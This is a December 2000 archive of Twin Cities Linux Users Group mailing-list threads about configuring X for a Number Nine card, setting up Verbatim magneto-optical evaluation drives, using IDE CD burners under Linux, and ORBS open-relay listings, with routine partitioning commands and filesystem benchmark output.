seems as if the card is supported by 3.3.6 according to the documentation on www.xfree86.org I've tried running Xconfigurator and selecting the I128 core and autotest for the RAMDAC and clockchip and then testing it, but my monitor blanks out. If i try running X from a command there are a few funky lines running across the screen with the mouse cursor visible. I've tried many different monitor combinations so I'm pretty sure that's not the problem. Any help in getting X to work would be greatly appreciated. btw this is a Redhat 7.0SMP system in case that matters. Thanks in advance, Jeff From clay at fandre.com Tue Dec 12 13:38:59 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <3A365703.BC3183D8@ltiflex.com> References: <3A365703.BC3183D8@ltiflex.com> Message-ID: <976649939.3a367ed3422a2@www.fandre.com> Quoting Andy Zbikowski : > Jason DeStefano wrote: > > > > What did you guys have to do to get signed up for one? > > Are they free? > > Olympus/Verbatim wants feedback from Linux users on their product. I > belive > it was Clay they contacted looking for 20 members of the lug. If you > could > meet their requirments (2 years Linux expierence, scsi capible system, > etc...) you could get an evaluation unit (to evaluate and keep). > > As it is, you're too late, sorry. > > And mine hasn't shown up either. Maybe I should have had it shipped to > the > office...humph. Oh well. Yes, I sent a message out a few months ago asking for 20 volunteers to evaluate the Verbatim MO drives. Funny thing is only 20 LUG'ers responded. And no, I did not get mine either. I will send an email to the contact at Verbatim and see if/when they were send out. Clay From andyzb at ltiflex.com Tue Dec 12 14:22:13 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Number Nine Revolution IV and X References: <5.0.0.25.2.20001212131219.02ee7008@mail.digitalguy.net> Message-ID: <3A3688F5.A02C0872@ltiflex.com> Give XF86Setup a try (if you have it installed.) I never had much luck with xf86config or Xconfigurator myself, but I usually got a working config file out of XF86Setup. THe other bit of advice I'll give is to know your monitors hariz and vert refresh rates. If you configure X with those instead of the safe defaults you can push your card/monitor to the max without wierd X is kinda working at that res situations...if XF86Setup doesn't do the trick, pop us off another message. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From destef at destef.com Tue Dec 12 14:32:16 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <976649939.3a367ed3422a2@www.fandre.com> Message-ID: Grrr...i musta just missed it when i subscribed. Maybe they are looking for a 21st?? Someone hook me up? I got a U2W controller with a free SCSI ID all ready... :) How much do the drives sell for and how much for the media? How much do they hold too? On Tue, 12 Dec 2000, Clay Fandre wrote: > Quoting Andy Zbikowski : > > > Jason DeStefano wrote: > > > > > > What did you guys have to do to get signed up for one? > > > Are they free? > > > > Olympus/Verbatim wants feedback from Linux users on their product. I > > belive > > it was Clay they contacted looking for 20 members of the lug. If you > > could > > meet their requirments (2 years Linux expierence, scsi capible system, > > etc...) you could get an evaluation unit (to evaluate and keep). > > > > As it is, you're too late, sorry. > > > > And mine hasn't shown up either. Maybe I should have had it shipped to > > the > > office...humph. Oh well. > > Yes, I sent a message out a few months ago asking for 20 volunteers to evaluate > the Verbatim MO drives. Funny thing is only 20 LUG'ers responded. > > And no, I did not get mine either. I will send an email to the contact at > Verbatim and see if/when they were send out. > > Clay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Dec 12 15:02:05 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive Message-ID: > How much do the drives sell for and how much for the media? > How much do they hold too? I think they'll be around $400 when they are released. They are 640MB rewritable, and I can fill one in 120 seconds. They are fast. The media on verbatim's site is around $30 each, but buy.com has TDK media for $11.27 each. Jay > -----Original Message----- > From: Jason DeStefano [mailto:destef@destef.com] > Sent: Tuesday, December 12, 2000 2:32 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Verbatim MO Drive > > > > Grrr...i musta just missed it when i subscribed. Maybe they > are looking for a 21st?? Someone hook me up? I got a U2W > controller with a free SCSI ID all ready... :) > > How much do the drives sell for and how much for the media? > How much do they hold too? > > On Tue, 12 Dec 2000, Clay Fandre wrote: > > > Quoting Andy Zbikowski : > > > > > Jason DeStefano wrote: > > > > > > > > What did you guys have to do to get signed up for one? > > > > Are they free? > > > > > > Olympus/Verbatim wants feedback from Linux users on their > product. I > > > belive > > > it was Clay they contacted looking for 20 members of the > lug. If you > > > could > > > meet their requirments (2 years Linux expierence, scsi > capible system, > > > etc...) you could get an evaluation unit (to evaluate and keep). > > > > > > As it is, you're too late, sorry. > > > > > > And mine hasn't shown up either. Maybe I should have had > it shipped to > > > the > > > office...humph. Oh well. > > > > Yes, I sent a message out a few months ago asking for 20 > volunteers to evaluate > > the Verbatim MO drives. Funny thing is only 20 LUG'ers responded. > > > > And no, I did not get mine either. I will send an email to > the contact at > > Verbatim and see if/when they were send out. > > > > Clay > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Dec 12 15:07:23 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] IDE cdburners Message-ID: So how well do IDE burners work with Linux? Do I have to use SCSI emulation to make it work? My SCSI burner just died, and I'm thinking of buying the TDK VeloCD from buy.com. $259 + 50pk CDR's, and a $50 rebate. Does the burning software have to know about the Burn-Proof feature for it to work? Jay From veldy at veldy.net Tue Dec 12 15:47:22 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] IDE cdburners References: Message-ID: <019601c06485$1c458540$9c29680a@tgt.com> > So how well do IDE burners work with Linux? Great! I burn at 8 speed on my HP 9100 and no frisbees yet. > Do I have to use SCSI emulation to make it work? Yes - it is easy though. > > My SCSI burner just died, and I'm thinking of buying the TDK VeloCD from > buy.com. $259 + 50pk CDR's, and a $50 rebate. Does the burning software > have to know about the Burn-Proof feature for it to work? If the CD Burner would work with Adaptec EZ-CDCreator (as almost all do now) - then it should work with SCSI emulation and thus with Linux. > > Jay Tom Veldhouse veldy@veldy.net From ben at nerp.net Tue Dec 12 15:58:39 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] IDE cdburners In-Reply-To: Message-ID: I have a plextor 12x IDE at work, I just burned 10 CD's today for my company custom laptop (linux, duh) installer. You need to use scsi emulation, and it works well. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Tue, 12 Dec 2000, Austad, Jay wrote: > So how well do IDE burners work with Linux? Do I have to use SCSI emulation > to make it work? > > My SCSI burner just died, and I'm thinking of buying the TDK VeloCD from > buy.com. $259 + 50pk CDR's, and a $50 rebate. Does the burning software > have to know about the Burn-Proof feature for it to work? > > Jay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Tue Dec 12 15:59:17 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] IDE cdburners In-Reply-To: <019601c06485$1c458540$9c29680a@tgt.com> References: <019601c06485$1c458540$9c29680a@tgt.com> Message-ID: <00121215591700.00468@Billbob_Linux> On Tuesday 12 December 2000 15:47, you wrote: Does the burning software > > have to know about the Burn-Proof feature for it to work? I believe that 'Burn-Proof' is a firmware feature, not a feature of the burning software. Is EZ-CD Creator aware of Burn-Proof? -- Bill Layer Sales Technician From tim at tneu.visi.com Tue Dec 12 09:31:33 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: <20001212114713.D55872@sorry.cs.umn.edu> Message-ID: On Tue, 12 Dec 2000 dopp@acm.cs.umn.edu wrote: > > Win98se has a shut down issue with it, typical of 98se with a nic card in > > it (3c905c 10/100). > > Do you have all the latest updates? I recall their being a fix for that > problem. Actually, there is a laundry list of things that can cause win 9x shutdown issues. 98se also has specific issues that can be fixed by a patch, or sometimes by disabling / enabling fast shutdown. > Now forget I ever admitted to knowing the above :) Most Linux users know Windows, but the reverse is not always true. As much as we hate to admit it, there is probably quite a bit of Windows troubleshooting expertise represented on this list! :-) -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ > burning software. Is EZ-CD Creator aware of Burn-Proof? Nero Burning ROM says "Enabling Burnproof" when you use it with a VeloCD drive. It is a firmware feature, but I wonder if my burning program will die if the buffer empties itself. Jay > -----Original Message----- > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > Sent: Tuesday, December 12, 2000 3:59 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] IDE cdburners > > > On Tuesday 12 December 2000 15:47, you wrote: > Does the burning software > > > have to know about the Burn-Proof feature for it to work? > > I believe that 'Burn-Proof' is a firmware feature, not a > feature of the > burning software. Is EZ-CD Creator aware of Burn-Proof? > > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tim at tneu.visi.com Tue Dec 12 10:30:55 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <976649939.3a367ed3422a2@www.fandre.com> Message-ID: > > And mine hasn't shown up either. Maybe I should have had it shipped to > > the > > office...humph. Oh well. Mine hasn't arrived yet either. Patience... -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ Message-ID: <3A36AA3E.D983F99C@fandre.com> tim wrote: > > > > And mine hasn't shown up either. Maybe I should have had it shipped to > > > the > > > office...humph. Oh well. > > Mine hasn't arrived yet either. > Patience... > Wahoooo!!! Mine was sitting on my porch waiting for me when I got home. Santa came early. From jethro at freakzilla.com Tue Dec 12 16:44:23 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: Hi, On Tue, 12 Dec 2000, tim wrote: > Mine hasn't arrived yet either. Mine arrived 5 minutes ago. I think I'll let it settle into room temperature before plugging it in... It is pretty though (: -Yaron -- From clay at fandre.com Tue Dec 12 16:45:55 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] IDE cdburners References: Message-ID: <3A36AAA3.961720CE@fandre.com> "Austad, Jay" wrote: > > So how well do IDE burners work with Linux? Do I have to use SCSI emulation > to make it work? > > My SCSI burner just died, and I'm thinking of buying the TDK VeloCD from > buy.com. $259 + 50pk CDR's, and a $50 rebate. Does the burning software > have to know about the Burn-Proof feature for it to work? I know the latest gcombust has a 'burn-proof' button, so it should work. From destef at destef.com Tue Dec 12 17:03:13 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: Enough guys!!! Your making me jealous!! On Tue, 12 Dec 2000, Yaron wrote: > Hi, > > On Tue, 12 Dec 2000, tim wrote: > > > Mine hasn't arrived yet either. > > Mine arrived 5 minutes ago. > > I think I'll let it settle into room temperature before plugging it in... > > It is pretty though (: > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From fjorn at mninter.net Tue Dec 12 18:15:55 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> <20001211165922.U12915@real-time.com> Message-ID: <3A36BFBB.44062B44@mninter.net> The point is MediaOne is in ORBS for. 1. Open relays. 2. Failing to respond to ORBS to stop spammers. 3. Not submitting thier cable modems and dialups to DUNs. This has nothing to do with you, it has to do with your ISP. I want to make this very clear, ORBS does not single out inviduals, it singles out IP addresses or blocks of IP addresses. If you are concerned, hit this url: http://www.orbs.org/report_1.html Type in the IP address of your smtp server and see what happens. _____________ Okay, so it seems ORBS won't allow me to post either. Comes up with: --> 208.142.244.17 has previously been tested by ORBS and doesn't seem to permit relay. Ditto with the other addy. Will have to see what it's like once ORBS is running. From tsandqui at yahoo.com Tue Dec 12 20:21:00 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: ; from destef@destef.com on Tue, Dec 12, 2000 at 12:32:16PM -0800 References: <976649939.3a367ed3422a2@www.fandre.com> Message-ID: <20001212202100.A11986@yahoo.com> On Tue, Dec 12, 2000 at 12:32:16PM -0800, Jason DeStefano wrote: > > Grrr...i musta just missed it when i subscribed. Maybe they > are looking for a 21st?? Someone hook me up? I got a U2W > controller with a free SCSI ID all ready... :) > > How much do the drives sell for and how much for the media? > How much do they hold too? > drive: $350 media: 640M, 230M, 128M the price escapes me. Tim From jethro at freakzilla.com Tue Dec 12 19:18:48 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] REAL Verbatim drive Q (: Message-ID: Hi, So I hooked it up, no prob. However, the disk it shipped with looked like it had no partition table on it, so I made an ext2 one and treid to newfs it... but for some reason I get this: /dev/sdb1 2.3G 20k 2.2G 0% /mnt which is obviously wrong. Anyone else having any problems like that? -Yaron -- From tobytoo at black-hole.com Tue Dec 12 20:24:21 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:41 2005 Subject: [TCLUG] Verbatim MO Drive References: <3A365703.BC3183D8@ltiflex.com> <976649939.3a367ed3422a2@www.fandre.com> Message-ID: <3A36DDD5.BB370732@black-hole.com> Can I whine too? " I want one." Clay Fandre wrote: > Quoting Andy Zbikowski : > > > Jason DeStefano wrote: > > > > > > What did you guys have to do to get signed up for one? > > > Are they free? > > > > Olympus/Verbatim wants feedback from Linux users on their product. I > > belive > > it was Clay they contacted looking for 20 members of the lug. If you > > could > > meet their requirments (2 years Linux expierence, scsi capible system, > > etc...) you could get an evaluation unit (to evaluate and keep). > > > > As it is, you're too late, sorry. > > > > And mine hasn't shown up either. Maybe I should have had it shipped to > > the > > office...humph. Oh well. > > Yes, I sent a message out a few months ago asking for 20 volunteers to evaluate > the Verbatim MO drives. Funny thing is only 20 LUG'ers responded. > > And no, I did not get mine either. I will send an email to the contact at > Verbatim and see if/when they were send out. > > Clay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From andyzib at ringworld.org Tue Dec 12 20:43:09 2000 From: andyzib at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] REAL Verbatim drive Q (: References: Message-ID: <3A36E23D.710C9D70@ringworld.org> Just got mine fired up. (Had to do a bit of a scsi shuffle...) The manual has some Linux instructions. For now I created 1 primiary partition on the disk and ext2 formatted it. /dev/sdc1 on /mnt/mo type ext2 (rw,noexec,nosuid,nodev,user=zibby) That done, I can read and write to it. Cool. Quick rehash of the manual... { fdisk -b 2048 /dev/scX create a new partition by typing n. write changes and exit fdisk by typing w. } Hmm...one of these days I'll have to get a 2.4 kernel going so I can user RiserFS on the thing. For now, it's going to be ext2 or vfat. Hmmm...I might want to access the thing in windows...not sure. Anyone know how the standard IBM formated disks arrive? Something wierd like Zips that hang out on /dev/sdX4? I like how the box has a Linux Care sticker on it. Guess we know where Linux support is coming from. Who's up for CC'ing their answers to the survey to the mailing list? -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | -------------- next part -------------- A non-text attachment was scrubbed... Name: andyzib.vcf Type: text/x-vcard Size: 421 bytes Desc: Card for Andy Zbikowski (Zibby) Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001213/9048a407/andyzib.vcf From jethro at freakzilla.com Tue Dec 12 21:00:26 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: <3A36E23D.710C9D70@ringworld.org> Message-ID: Hi, On Wed, 13 Dec 2000, Andy Zbikowski (Zibby) wrote: > The manual has some Linux instructions. For now I created 1 primiary > partition on the disk and ext2 formatted it. I tried that too... > fdisk -b 2048 /dev/scX Ah, -b 2048. I'll try that. I did make a FAT32 partition and mkdosfs it, but accessing that made the machine hang. Trying to run Doze's fdisk TRASHED MY ENTIRE DRIVE C. Be warned! > Who's up for CC'ing their answers to the survey to the mailing list? Sure (: -Yaron -- From austad at marketwatch.com Tue Dec 12 22:15:50 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] REAL Verbatim drive Q (: Message-ID: Can't use ReiserFS on it. Reiser will only format with 4096 byte blocks. > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Tuesday, December 12, 2000 9:00 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > Hi, > > On Wed, 13 Dec 2000, Andy Zbikowski (Zibby) wrote: > > > The manual has some Linux instructions. For now I created 1 primiary > > partition on the disk and ext2 formatted it. > > I tried that too... > > > fdisk -b 2048 /dev/scX > > Ah, -b 2048. I'll try that. > > I did make a FAT32 partition and mkdosfs it, but accessing > that made the > machine hang. > > Trying to run Doze's fdisk TRASHED MY ENTIRE DRIVE C. Be warned! > > > Who's up for CC'ing their answers to the survey to the mailing list? > > Sure (: > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From dieman at ringworld.org Tue Dec 12 22:45:41 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <3A36BFBB.44062B44@mninter.net>; from fjorn@mninter.net on Tue, Dec 12, 2000 at 06:15:55PM -0600 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> <20001211165922.U12915@real-time.com> <3A36BFBB.44062B44@mninter.net> Message-ID: <20001212224541.F548@ringworld.org> * fjorn [001212 18:13]: > 3. Not submitting thier cable modems and dialups to DUNs. By the same metric, all DSL lines should be, unless they aren't special. (IE: they pay to run servers, get static ip's, etc.) -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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Reiser will only format with 4096 byte blocks. /dev/scsi/host0/bus0/target4/lun0/disc on /mnt/mo type reiserfs (rw,noexec,nosuid,nodev,user=dieman) /dev/scsi/host0/bus0/target4/lun0/disc 620680 131428 489252 22% /mnt/mo Worked fine here :) I'm using a Tekram DC-315U card. scsi0 : Tekram DC395U/UW/F DC315/U V1.32, 2000-12-02 Vendor: OLYMPUS Model: MOS364 Rev: 1.02 Type: Optical Device ANSI SCSI revision: 02 Detected scsi removable disk sda at scsi0, channel 0, id 4, lun 0 DC395x: Target 04: Sync: 100ns Offset 15 (10.0 MB/s) SCSI device sda: 310352 2048-byte hdwr sectors (636 MB) -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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If the rest of you would like to see it, I can put a picture of it online. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ Message-ID: <3A3718E8.14DB86B7@tcfreenet.org> > > Mine hasn't arrived yet either. > > Mine arrived 5 minutes ago. Mine arrived today. Mwahaha. No time to play with it though. :P > It is pretty though (: Shiiiiiiiiiny... From jethro at freakzilla.com Wed Dec 13 01:29:26 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: <3A36E23D.710C9D70@ringworld.org> Message-ID: Hi, On Wed, 13 Dec 2000, Andy Zbikowski (Zibby) wrote: > The manual has some Linux instructions. For now I created 1 primiary > partition on the disk and ext2 formatted it. > /dev/sdc1 on /mnt/mo type ext2 (rw,noexec,nosuid,nodev,user=zibby) Huh. Weird. That made my machine hang. I notice the manual says to create partitions, and THEN it tells you to mkfs /dev/sdX, not /dev/sdXn (ie, the ENTIRE DEVICE). do what do I need a partition for? When I try to mkfs -b 2048 /dev/sdb1, I get tons of: I/O error: dev 08:11, sector 4915472 I've mkfs'd /dev/sdb, and only get 597MB, Might be a different counting method I guess. Who was the person who said these were fast? (: mine seems slow. I'll have to time it later. Once it's done doing the Test Copy, I'll try plaing some MPEGs off it, and then try removing the partition table and trying mkfs again. Hmmm... it seems to be doing some weird buffering thing. Might be Linux doing it though (: Like copying a large file increases in big chunks, rather than while it's copying (too tired to be more coherent). Ok, cp's done but this thing's still going. Buffers. Ok, here goes the MPEG. Hahahha, man Tex Avery was one twisted person. Weird, I just did an fdisk -b 2048 and I got: ll_rw_block: device 08:10: only 2048-char blocks implemented (1024) This is 2.4.0-test11. Night! -Yaron -- From austad at marketwatch.com Wed Dec 13 01:38:19 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] REAL Verbatim drive Q (: Message-ID: Sweet! I didn't even bother to try Reiser because the version of mkreiserfs that I have won't let me adjust the block size, so I gave up since the manual preaches about 2048B blocksize. I just reformatted my disk with reiser and I'm running bonnie on it to compare it to ext2. ReiserFS: -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 100 6205 96.5 43356 93.6 453 1.1 877 12.5 28765 18.3 17443.3 95.9 100 1744 26.7 47848 96.3 609 1.3 6820 96.2 91798 89.6 61.3 0.3 100 6256 96.4 48244 95.6 432 0.8 6866 96.1 114530 94.0 72.2 0.4 100 6114 95.5 47270 94.6 437 0.9 6861 96.3 117158 92.7 72.7 0.4 ext2: -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 100 6272 92.6 88213 91.3 47749 92.8 6820 96.2 154711 92.2 119.1 0.7 100 6597 96.3 91556 94.8 50079 95.9 6854 96.5 160844 97.4 182.5 1.0 100 6484 95.2 93161 96.4 49358 93.0 6872 96.5 154766 92.2 149.8 0.9 100 6598 96.5 93746 95.2 51057 96.2 6798 96.0 156069 94.5 124.9 0.7 Looks like ext2 whooped Reiser. I didn't add any special options to reiser. I wonder if the reiserfs was 2048 byte blocks like the ext2 one if it would make a difference. Jay > -----Original Message----- > From: Scott Dier [mailto:dieman@ringworld.org] > Sent: Tuesday, December 12, 2000 10:49 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > * Austad, Jay [001212 22:19]: > > Can't use ReiserFS on it. Reiser will only format with > 4096 byte blocks. > > /dev/scsi/host0/bus0/target4/lun0/disc on /mnt/mo type reiserfs > (rw,noexec,nosuid,nodev,user=dieman) > > /dev/scsi/host0/bus0/target4/lun0/disc > 620680 131428 489252 22% /mnt/mo > > Worked fine here :) I'm using a Tekram DC-315U card. > > scsi0 : Tekram DC395U/UW/F DC315/U V1.32, 2000-12-02 > Vendor: OLYMPUS Model: MOS364 Rev: 1.02 > Type: Optical Device ANSI SCSI revision: 02 > Detected scsi removable disk sda at scsi0, channel 0, id 4, lun 0 > DC395x: Target 04: Sync: 100ns Offset 15 (10.0 MB/s) > SCSI device sda: 310352 2048-byte hdwr sectors (636 MB) > > > -- > Scott Dier #linuxos@irc.openprojects.net > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > Kupooo." > -Moguta (FFIX) > From lerwick at tcfreenet.org Wed Dec 13 02:09:06 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] Debian Mac68k (was Gnome ported to Windows) References: <3A34F4FE.33B2674D@ltiflex.com> <20001211110301.A1962@socrates.sistina.com> <00121111242005.00255@Billbob_Linux> Message-ID: <3A372EA2.DAF885A1@tcfreenet.org> Bill Layer wrote: > > Yes but, > > On Monday 11 December 2000 11:03, you wrote: > > Why anyone would go to all that work just boggles the mind. There isn't > > anything _I_ need to do on my box that linux / BSD can't handle. Like I > > said, using windows is like wearing a straight jacket. Only thing worse is > > using a mac. > > What about a Mac running Debian? My install of Potato onto my upgraded LC475 > went well this weekend. I just need to get a network connection over to the > machine, and I can get some packages. Well worth the time & effort of getting > a 68040 off of eBay. > > Just not sure about this whole 'Debian' thing... I wish they had MacSlack :] Or Alpha Slack... SlackAXP? From lerwick at tcfreenet.org Wed Dec 13 03:04:02 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] IDE cdburners References: Message-ID: <3A373B82.677C7FA@tcfreenet.org> > So how well do IDE burners work with Linux? Do I have to use SCSI emulation > to make it work? Yes, you have to use ide-scsi. Which would work great, but they manage to break it every few kernel versions. :P I was using kernel 2.2.15 for, ummm, tens of burns and never had a problem. But along came .16 and .17 and suddenly I get random SCSI errors that abort the burn. If I was trying to burn an entire disk I was lucky if it would complete. I've since moved to 2.4-test9 and test10 and have had no problems burning CDs. Go fig. :P > My SCSI burner just died, and I'm thinking of buying the TDK VeloCD from > buy.com. $259 + 50pk CDR's, and a $50 rebate. Does the burning software > have to know about the Burn-Proof feature for it to work? Even without burn-proof, IDE burners work quite well these days, they all have 1-2mb buffers. Mine doesn't have burn-proof, yet I've tried very hard to make it harf but have never been able to. I've got a Philips PCA460RW, 4-2-16x burner. And yes, burn-proof has to be supported by the burner software, but if you look at cdrecord's home page it has burn-proof logos pasted all over it, so I think its supported. ;) From lerwick at tcfreenet.org Wed Dec 13 04:29:03 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:42 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> <20001211165922.U12915@real-time.com> <3A36BFBB.44062B44@mninter.net> Message-ID: <3A374F6F.3316D3D2@tcfreenet.org> > If you are concerned, hit this url: > > http://www.orbs.org/report_1.html > > Type in the IP address of your smtp server and see what happens. I just tested the mailserver I use, smtp.mn.mediaone.net (24.131.1.59) and it passes ORBS. So what mediaone mailservers are a problem then, out of interest? From lerwick at tcfreenet.org Wed Dec 13 04:40:11 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim 